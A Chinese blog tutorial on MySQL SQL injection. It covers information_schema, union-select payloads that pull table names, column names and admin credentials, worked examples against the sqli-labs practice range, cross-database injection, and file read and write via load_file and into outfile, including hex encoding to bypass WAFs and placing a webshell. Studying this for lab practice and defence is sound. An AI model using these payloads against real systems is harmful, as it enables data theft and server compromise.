• Web攻防02-MySQL注入概述&MySQL架构&注入获取数据



    请添加图片描述

    SQL注入概述:

    sql注入的原理:

    接收的数值未进行过滤直接带入SQL进行查询操作。

    sql注入攻击:

    利用以上原理中SQL语句执行,查询出数据库中的信息(SQL语句执行能干什么,注入就能干什么)

    SQL语句能干嘛–>SQL语句由谁决定 —> 数据库类型决定(所以SQL注入分为MySQL注入、Oracle注入等)

    MYSQL-Web组成架构

    服务器安装MYSQL数据库,搭建多个站点,数据集中存储在MYSQL数据库中管理

    可以都使用root用户管理也可以创建多个用户进行每个网站对应的数据库管理

    access无数据库用户

    1、统一交root用户管理

    www.zblog.com = zblog = root =>MYSQL

    www.demo01.com = demo01 = root =>MYSQL

    2、一对一用户管理(推荐)

    www.zblog.com = zblog = zblog =>MYSQL

    www.demo01.com = demo01 = demo01 =>MYSQL

    MYSQL5.0以上版本:自带的数据库information_schema

    information_schema:存储数据库下的数据库名及表名,列名信息的数据库

    information_schema.schemata:记录数据库名信息的表

    information_schema.tables:记录表名信息的表

    information_schema.columns:记录列名信息表

    schema_name:information_schema.schemata记录数据库名信息的列名值

    table_schema:information_schema.tables记录数据库名的列名值

    table_name:information_schema.tables记录表名的列名值

    column_name:information_schema.columns记录列名的列名值

    MYSQL注入流程

    1、判断常见四个信息(系统,用户,数据库名,版本)

    1、数据库版本-看是否符合information_schema查询-version()

    2、数据库用户-看是否符合ROOT型注入攻击-user()

    3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os

    4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()

    2、根据四个信息去选择方案

    root用户:先测试读写,后测试获取数据

    为什么要先测试读写:

    因为目的一般是为了获取当前web权限,若能读写文件,直接后门获取权限

    一般获取数据是为了登录后台,登录后想办法上传webshell —> 获取权限

    所以说就算获取到了数据,也不一定能够拿到权限。因为可能进去后台了但是后台里面啥都没有

    非root用户:直接测试获取数据

    MYSQL注入查询数据过程

    ACCESS数据库没有类似MySQL中的information_schema这种东西,所以

    access注入 sqlmap 只能靠字典去猜,又可能会猜不到表名,列名,就获取不到数据

    依次从information_schema中查出数据库名,数据库所有表名、列名

    然后根据以上信息查询数据。

    order by 6 (字段个数)
    
    union select 1,2,3,4,5,6
    
    union select 1,2,3,database(),user(),6
    
    union select 1,2,3,version(),@@version_compile_os,6
    
    union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01'
    
    union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='admin'
    
    union select 1,2,3,username,password,6 from admin limit 0,1
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    查询数据流程

    目的:获取数据

    一步步得到信息,先获取数据库名,再获取其中表名,然后获取列名,最后查询数据。其中每一步都尽可能筛选出一些敏感信息如admin,password等。

    order by 6 (字段个数)
    
    union select 1,2,3,4,5,6
    
    union select 1,2,3,database(),user(),6
    
    union select 1,2,3,version(),@@version_compile_os,6
    
    union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01'
    
    union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='admin'
    
    union select 1,2,3,username,password,6 from admin limit 0,1
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    靶场案例

    1、确认有注入点

    http://localhost/sqli-labs/Less-1/?id=1' order by 3 --+
    
    • 1

    请添加图片描述

    2、确认回显位置:

    http://localhost/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+
    
    • 1

    请添加图片描述

    3、获取数据库名以及用户:

    localhost/sqli-labs/Less-1/?id=-1' union select 1,database(),user() --+
    
    • 1

    若用户为root用户则可以进行跨库注入查询。

    请添加图片描述

    4、获取库中所有表名:

    localhost/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables --+
    
    • 1

    请添加图片描述

    5、选取可能有敏感信息(账号密码)的表进行查列:

    6、查列后根据库名表名列名查询数据

    MYSQL-SQL跨库注入查询

    跨库注入:

    如果注入点是一个root用户管理的点,就可以查到所有库

    —> 可以实现从A网站(由root用户管理)的注入点跨库查询到B网站(由非root用户管理)的数据

    影响条件:

    管理当前数据库的用户是否为ROOT权限

    测试不同数据库用户

    应用:

    通过B网站的注入点获取A网站的账号密码/数据

    MYSQL-SQL文件读写

    通过SQL注入,使用SQL语句中的load_file()读取文件

    使用SQL语句中的into outfile将内容写入文件

    影响条件:

    1、当前数据库用户权限

    root权限才可使用load_file()读取文件。

    2、secure-file-priv设置

    设置后就无法读取了

    my.ini中固定

    高版本的MySQL自带该保护,默认开启。只存在一些中低版本

    测试不同数据库用户:root demo

    union select 1,load_file('d:\\1.txt'),3,4,5,6
    
    union select 1,'eval',3,4,5,6 into outfile 'd:\\2.txt'
    
    • 1
    • 2
    • 3

    可以将路径改编码,—> 十六进制编码 —> 为了绕过WAF或者单引号过滤等。

    用十六进制,前面加0x,即可不要单引号

    单引号过滤绕过方式

    SQL注入语句中用单引号就不要编码,编码就不用单引号(路径,表名,数据库名等)

    利用思路-读写的路径的问题:

    1、报错显示获取路径

    2、phpinfo页面泄漏

    如果不知道路径思路:

    利用常见的默认的中间件,数据库等安装路径,读取有价值信息

    现在很少出现该漏洞了

  • 相关阅读:
    [Linux] 进程间通信基础
    万字长文带你了解 CloudOps 自动化运维的奥秘,助力云上业务高效稳定运行
    Hive概述
    ARC121F Logical Operations on Tree
    智能运维应用之道,告别企业数字化转型危机
    使用VC++设计程序:对于一幅256级灰度图像,求其一元熵值、二维熵值
    java计算机毕业设计学科竞赛管理系统MyBatis+系统+LW文档+源码+调试部署
    OpenGL运行环境的搭建(GLFW+GLAD+OpenGL以及在Vistual Studio中的 配置)
    力扣501 补9.13
    iapp模块的使用教程,iapp怎么调用api
  • 原文地址:https://blog.csdn.net/qq_55977327/article/details/133914282